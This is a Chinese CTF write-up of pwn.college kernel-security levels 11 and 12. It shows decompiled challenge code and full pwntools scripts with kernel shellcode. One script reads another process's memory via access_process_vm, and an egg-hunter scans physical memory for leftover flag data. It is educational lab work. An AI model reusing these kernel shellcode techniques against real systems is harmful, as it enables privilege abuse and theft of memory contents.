int i; // [rsp+24h] [rbp-1Ch]
int v5; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]
__int64 v7; // [rsp+38h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts("You may upload custom shellcode to do whatever you want.\n");
puts("For extra security, this challenge will only allow certain system calls!\n");
load_flag(); // 读取flag到全局变量
//
unlink("/flag");
puts("The flag has been deleted!\n");
v5 = open("/proc/pwncollege", 2);
printf("Opened `/proc/pwncollege` on fd %d.\n", v5);
puts(&s_);
if ( mmap((void *)0x31337000, 0x1000u, 7, 34, 0, 0) != (void *)825454592 )
__assert_fail("shellcode == (void *)0x31337000", "<stdin>", 0x88u, "main");
printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x31337000);
puts("Reading 0x1000 bytes of shellcode from stdin.\n");
v6 = read(0, (void *)0x31337000, 0x1000u);
puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(825454592, v6);
puts(&s_);
puts("Restricting system calls (default: allow).\n");
v7 = seccomp_init(2147418112);
for ( i = 0; i <= 511; ++i )
{
if ( i == 1 )
{
printf("Allowing syscall: %s (number %i).\n", "write", 1);
}
else if ( (unsigned int)seccomp_rule_add(v7, 0, (unsigned int)i, 0) )// 只能使用write
{
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0", "<stdin>", 0x9Eu, "main");
}
}
puts("Executing shellcode!\n");
if ( (unsigned int)seccomp_load(v7) )
__assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0xA3u, "main");
MEMORY[0x31337000](); // 执行shellcode
puts("### Goodbye!");
return 0;
}读取flag到全局变量里,然后输入shellcode执行,只能使用write系统调用,同时已经打开好了内核模块在fd
int load_flag()
{
int fd; // [rsp+4h] [rbp-Ch]
sem_t *sem; // [rsp+8h] [rbp-8h]
puts("Attempting to load the flag into memory.\n");
sem = (sem_t *)mmap(0, 0x1000u, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANON, 0, 0);// 匿名共享内存,可读可写
sem_init(sem, 1, 0); // 信号量,所有进程共享,初始值是0
if ( !fork() ) // 子进程创建
{
fd = open("/flag", O_RDONLY);
if ( fd < 0 )
exit(1);
read(fd, &flag_23583, 0x100u);
close(fd);
sem_post(sem); // 通知父进程读取完毕,sem+=1
while ( 1 )
sleep(1u);
}
return sem_wait(sem); // sem为0时堵塞等待,不为0时则sem-1然后继续执行
}这里只有子进程的全局变量才有flag的值
内核模块:
init:和之前8.0的一样,权限是0600,只能刚刚那个用户程序访问
int __cdecl init_module()
{
shellcode = (unsigned __int8 *)_vmalloc(4096, 3264, _default_kernel_pte_mask & 0x163);
proc_entry = (proc_dir_entry *)proc_create("pwncollege", 0600, 0, &fops);
printk(&unk_EFE);
printk(&unk_D58);
printk(&unk_EFE);
printk(&unk_D88);
printk(&unk_DF0);
printk(&unk_E50);
printk(&unk_E98);
printk(&unk_F05);
return 0;
}write:
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n4096; // rdx
__int64 v6; // rbp
printk(&unk_D18);
n4096 = 4096;
if ( length <= 0x1000 )
n4096 = length;
v6 = copy_from_user(shellcode, buffer, n4096);
((void (*)(void))shellcode)();
return length - v6;
}也一样,直接接收内核shellcode并执行
这次的目标是读取子进程的全局变量,那么内核shellcode要做的事情就是,找到子进程,读取子进程内存
查看这次的环境:
hacker@vm_kernel-security~level11-0:~$ cat /proc/cmdline
rw rootfstype=9p rootflags=trans=virtio console=ttyS0 init=/opt/pwn.college/vm/init nokaslr PATH=/run/challenge/bin:/run/dojo/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin没有kaslr,很好
搜索资料得知,内核中使用access_process_vm 读取内存,用于读取其他进程虚拟内存的函数。它会自动处理页表切换和缺页。
函数原型:
int access_process_vm(struct task_struct *tsk, unsigned long addr, void *buf, int len, unsigned int gup_flags);tsk: 目标进程(子进程)的task_struct指针。addr: 子进程用户态内存中 Flag 的虚拟地址。buf: 内核态缓冲区(用于存放读取到的 Flag)。len: 读取长度。gup_flags: 设置为0表示读取。
用户进程也没有aslr,虚拟地址是已知的,接下来的目标是找到子进程的task_struct结构体
在用户进程结构体中,当前进程的结构体可用current宏得到其中有几个字段是关于进程父子关系的:
/*
* Pointers to the (original) parent process, youngest child, younger sibling,
* older sibling, respectively. (p->father can be replaced with
* p->real_parent->pid)
*/
/* Real parent process: */
struct task_struct __rcu *real_parent;
/* Recipient of SIGCHLD, wait4() reports: */
struct task_struct __rcu *parent;
/*
* Children/sibling form the list of natural children:
*/
struct list_head children;
struct list_head sibling;
struct task_struct *group_leader;
在 Linux 内核中,进程链表是通过 struct list_head 实现的,这是一种双向循环链表:
- 父进程中有一个成员
children(偏移为0x4b0),它是子进程链表的头部 (Head) 。 - 子进程中有一个成员
sibling,它是作为一个节点 (Node) 挂载在父进程的children链表上的。
struct list_head {
struct list_head *next, *prev;
};下一个应该就是有flag的目标进程
定位 children 偏移:
(gdb) p &((struct task_struct *)0)->children
$1 = (struct list_head *) 0x4b0综合以上信息,可以写出shellcode如下:
from pwn import *
context.arch = "amd64"
"""
(gdb) p &((struct task_struct *)0)->children
$1 = (struct list_head *) 0x4b0
hacker@vm_practice~kernel-security~level11-0:~$ sudo cat /proc/kallsyms | grep "access_process_vm"
ffffffff81190040 T access_process_vm
ffffffff810b69a9 T printk
0000000000404040
"""
shellcode = """
sub rsp, 0x100
mov rax, qword ptr gs:0x15d00
add rax, 0x4b0
mov rax, [rax]
sub rax, 0x4c0
mov rdi, rax
mov rsi, 0x404040
mov rdx, rsp
mov rcx, 0x100
xor r8, r8
mov rax, 0xffffffff81190040
call rax
mov rdi, rsp
mov rax, 0xffffffff810b69a9
call rax
add rsp, 0x100
ret
"""
sc = asm(shellcode)
print(sc)
print(len(sc))
print(".byte",end=' ')
for i in sc:
print(hex(i), end=',')
用户层shellcode:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
io = process("/challenge/babykernel_level11.0")
payload = asm("""
xor rax,rax
xor rdi,rdi
inc rax
mov rdi,3
mov rdx,0x100
lea rsi,[rip+sc]
syscall
ret
sc:
.byte 0x48,0x81,0xec,0x0,0x1,0x0,0x0,0x65,0x48,0x8b,0x4,0x25,0x0,0x5d,0x1,0x0,0x48,0x5,0xb0,0x4,0x0,0x0,0x48,0x8b,0x0,0x48,0x2d,0xc0,0x4,0x0,0x0,0x48,0x89,0xc7,0x48,0xc7,0xc6,0x40,0x40,0x40,0x0,0x48,0x89,0xe2,0x48,0xc7,0xc1,0x0,0x1,0x0,0x0,0x4d,0x31,0xc0,0x48,0xc7,0xc0,0x40,0x0,0x19,0x81,0xff,0xd0,0x48,0x89,0xe7,0x48,0xc7,0xc0,0xa9,0x69,0xb,0x81,0xff,0xd0,0x48,0x81,0xc4,0x0,0x1,0x0,0x0,0xc3
""") + b"\x00"
io.sendline(payload)
io.interactive()level 12.0 - 内核 shellcode - eggs hunter
和11类似,用户层程序:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+24h] [rbp-1Ch]
int v5; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]
__int64 v7; // [rsp+38h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts("You may upload custom shellcode to do whatever you want.\n");
puts("For extra security, this challenge will only allow certain system calls!\n");
load_flag();
unlink("/flag");
puts("The flag has been deleted!\n");
v5 = open("/proc/pwncollege", 2);
printf("Opened `/proc/pwncollege` on fd %d.\n", v5);
puts(&s_);
if ( mmap((void *)0x31337000, 0x1000u, 7, 34, 0, 0) != (void *)825454592 )
__assert_fail("shellcode == (void *)0x31337000", "<stdin>", 0x7Fu, "main");
printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x31337000);
puts("Reading 0x1000 bytes of shellcode from stdin.\n");
v6 = read(0, (void *)0x31337000, 0x1000u);
puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(825454592, v6);
puts(&s_);
puts("Restricting system calls (default: allow).\n");
v7 = seccomp_init(2147418112);
for ( i = 0; i <= 511; ++i )
{
if ( i == 1 )
{
printf("Allowing syscall: %s (number %i).\n", "write", 1);
}
else if ( (unsigned int)seccomp_rule_add(v7, 0, (unsigned int)i, 0) )
{
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0", "<stdin>", 0x95u, "main");
}
}
puts("Executing shellcode!\n");
if ( (unsigned int)seccomp_load(v7) )
__assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0x9Au, "main");
MEMORY[0x31337000]();
puts("### Goodbye!");
return 0;
}load flag这个有巨大变化:
__pid_t load_flag()
{
int fd; // [rsp+Ch] [rbp-4h]
puts("Attempting to load the flag into memory.\n");
if ( !fork() )
{
fd = open("/flag", 0);
if ( fd < 0 )
exit(1);
read(fd, &flag_23549, 0x100u); // 只有子进程有flag
close(fd);
exit(0); // 立即退出了
}
return wait(0); // 等子进程结束
}程序会:
fork()出一个子进程;- 子进程读取
/flag,把 flag 放进自己的用户态缓冲区; - 子进程立即退出,它的用户态页表映射被销毁;
flag 只存在于子进程的用户空间,进程退出后那块内存被释放了。但是!!
物理内存不会被主动清零!页面被释放后,数据通常还残留在物理内存中,只是被标记为可用。
由于题目没有kaslr,根据内存布局,在地址0xffff888000000000开始是内核可见物理地址映射起始,该题目虚拟机内存大小是2GB
那么从这里去扫描flag字样的内容,pwn.college,然后通过printk打印出来,通过dmesg查看即可,这就是egg hunter的思路
遇到的问题,以及求解
原本我通过python与目标程序交互,无论如何都拿不到flag,后来分析发现问题所在,这个过程会:
- Python fork() 创建子进程
- 子进程 execve() 执行 challenge
- challenge 内部 fork() 读取 flag 到内存
- challenge 子进程 exit(),释放页面
- 你发送 shellcode,Python 可能在这期间有内存操作
- shellcode 执行,开始扫描
问题在于:Python 进程本身会不断分配/释放内存,pwntools的sendline、字符串处理等操作都可能触发内存分配,这些新分配的页面可能正好覆盖了 flag 曾经所在的物理页。导致原本的flag被覆盖
最终exp,生成shellcode.bin,然后通过shell传递,而不是用python的pwntools与其交互
from pwn import *
context.arch = 'amd64'
# 内核态 shellcode:扫描物理内存找 flag 并 printk
kernel_shellcode = asm("""
mov rdi, 0xffff888000000000
mov rsi, 0xffff888080000000 /* 结束地址:起始 + 2GB (0x80000000) */
mov rbx, [rip + mark]
scan_loop:
cmp rdi, rsi
jge done /* 扫描完 2GB,退出 */
cmp rbx, [rdi]
je found
inc rdi
jmp scan_loop
found:
push rdi
push rsi
push rbx
mov rsi, rdi
lea rdi, [rip + fmt]
mov rax, 0xffffffff810b69a9 /* printk */
call rax
pop rbx
pop rsi
pop rdi
inc rdi
jmp scan_loop
done:
ret
mark:
.ascii "college{"
fmt:
.asciz "%s\\n"
""")
# 用户态 shellcode:write 到 fd 3 (内核设备)
user_shellcode = asm(f"""
mov rdi, 3
lea rsi, [rip + kernel_sc]
mov rdx, {len(kernel_shellcode)}
mov rax, 1
syscall
ret
kernel_sc:
.byte {','.join(hex(b) for b in kernel_shellcode)}
""")
# 写入文件
with open("shellcode.bin", "wb") as f:
f.write(user_shellcode)
print(f"[+] shellcode.bin 已生成,大小: {len(user_shellcode)} 字节")cat shellcode.bin | /challenge/babykernel_level12.0参考资料
系统梳理12个递进式Linux内核漏洞利用挑战,涵盖proc通信、commit_creds提权、shellcode编写、KASLR/SECCOMP绕过、access_process_vm跨进程读取及物理内存Egg Hunter技术。
由 AI 根据全文自动生成,仅供参考,以原文为准
